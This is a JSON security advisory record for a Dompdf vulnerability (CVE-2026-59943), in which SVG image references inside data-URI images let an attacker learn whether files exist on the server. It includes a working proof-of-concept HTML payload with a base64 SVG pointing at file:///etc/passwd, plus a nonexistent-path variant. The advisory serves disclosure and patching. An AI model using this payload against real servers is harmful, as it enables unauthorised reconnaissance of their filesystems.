{"id":"GHSA-j8qw-6jw8-r297","summary":"Dompdf: Embedded SVG images can leak existence of files and directories within the filesystem","details":"### Summary\nIf a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document.\n\n### Details\nUsing an `\u003cimage\u003e` element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the `href` or `xlink:href` attributes. When processing a file that does not exist (e.g. `file:///DOESNOTEXIST`), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem.\n\n```\n[Wed May 20 19:49:53 2026] PHP Warning:  file_get_contents(file:///DOESNOTEXIST): Failed to open stream: No such file or directory in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173\n[Wed May 20 19:49:53 2026] PHP Notice:  getimagesize(): Error reading from /tmp/svgsk9247ela7tm3SiqGyP! in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 196\n```\n\n### PoC\n\nFirst, the attacker renders this HTML document:\n```\n\u003chtml\u003e\n\u003chead\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003cimg src=\"data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEwMCAxMDAiCiAgICAgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxpbWFnZSB4bGluazpocmVmPSJmaWxlOi8vL2V0Yy9wYXNzd2QiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj4KICAgIDwvc3ZnPgo=\"\u003e\n Hello World!\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nThe `\u003cimg\u003e` tag contains the following SVG content:\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003csvg width=\"100%\" height=\"100%\" viewBox=\"0 0 100 100\"\n     xmlns=\"http://www.w3.org/2000/svg\"\u003e\n    \u003cimage xlink:href=\"file:///etc/passwd\" x=\"0\" y=\"0\" width=\"100\" height=\"100\"\u003e\n    \u003c/svg\u003e\n```\n\nAs expected, the resulting PDF contains a broken image:\n\u003cimg width=\"621\" height=\"193\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b615fabe-c578-4435-bcb4-e9ad0ac796d2\" /\u003e\n\nHowever, when supplying a path to a file or directory that does not exist, for example:\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003csvg width=\"100%\" height=\"100%\" viewBox=\"0 0 100 100\"\n     xmlns=\"http://www.w3.org/2000/svg\"\u003e\n    \u003cimage xlink:href=\"file:///DOESNOTEXIST\" x=\"0\" y=\"0\" width=\"100\" height=\"100\"\u003e\n    \u003c/svg\u003e\n```\n\nThe resulting PDF is rendered normally, with the image displayed as empty space (since the file did not exist). Additionally, for easier visual inspection, a rendering bug (https://github.com/dompdf/php-svg-lib/issues/142) is used to rotate the \"Hello World!\" text 180 degrees from the expected position:\n\n\u003cimg width=\"616\" height=\"922\" alt=\"image\" src=\"https://github.com/user-attachments/assets/32f83aa5-8115-4b0f-8ac2-f7b75e2eeaa9\" /\u003e\n\n### Impact\nBy exploiting this vulnerability, an attacker is able to confirm the existence of files and directories located on the backend filesystem.","aliases":["CVE-2026-59943"],"modified":"2026-07-22T23:25:40.493382Z","published":"2026-07-22T22:52:44Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-07-22T22:52:44Z","nvd_published_at":null,"cwe_ids":["CWE-209"]},"references":[{"type":"WEB","url":"https://github.com/dompdf/dompdf/security/advisories/GHSA-j8qw-6jw8-r297"},{"type":"WEB","url":"https://github.com/dompdf/dompdf/commit/6a58996865db05d8fede748507e50ac4b8c5bfd0"},{"type":"PACKAGE","url":"https://github.com/dompdf/dompdf"},{"type":"WEB","url":"https://github.com/dompdf/dompdf/releases/tag/v3.1.6"}],"affected":[{"package":{"name":"dompdf/dompdf","ecosystem":"Packagist","purl":"pkg:composer/dompdf/dompdf"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.6"}]}],"versions":["v0.6.0","v0.6.1","v0.6.2","v0.7.0","v0.7.0-beta","v0.7.0-beta2","v0.7.0-beta3","v0.8.0","v0.8.1","v0.8.2","v0.8.3","v0.8.4","v0.8.5","v0.8.6","v1.0.0","v1.0.1","v1.0.2","v1.1.0","v1.1.1","v1.2.0","v1.2.1","v1.2.2","v2.0.0","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.0.5","v2.0.7","v2.0.8","v3.0.0","v3.0.1","v3.0.2","v3.1.0","v3.1.1","v3.1.2","v3.1.3","v3.1.4","v3.1.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-j8qw-6jw8-r297/GHSA-j8qw-6jw8-r297.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}]}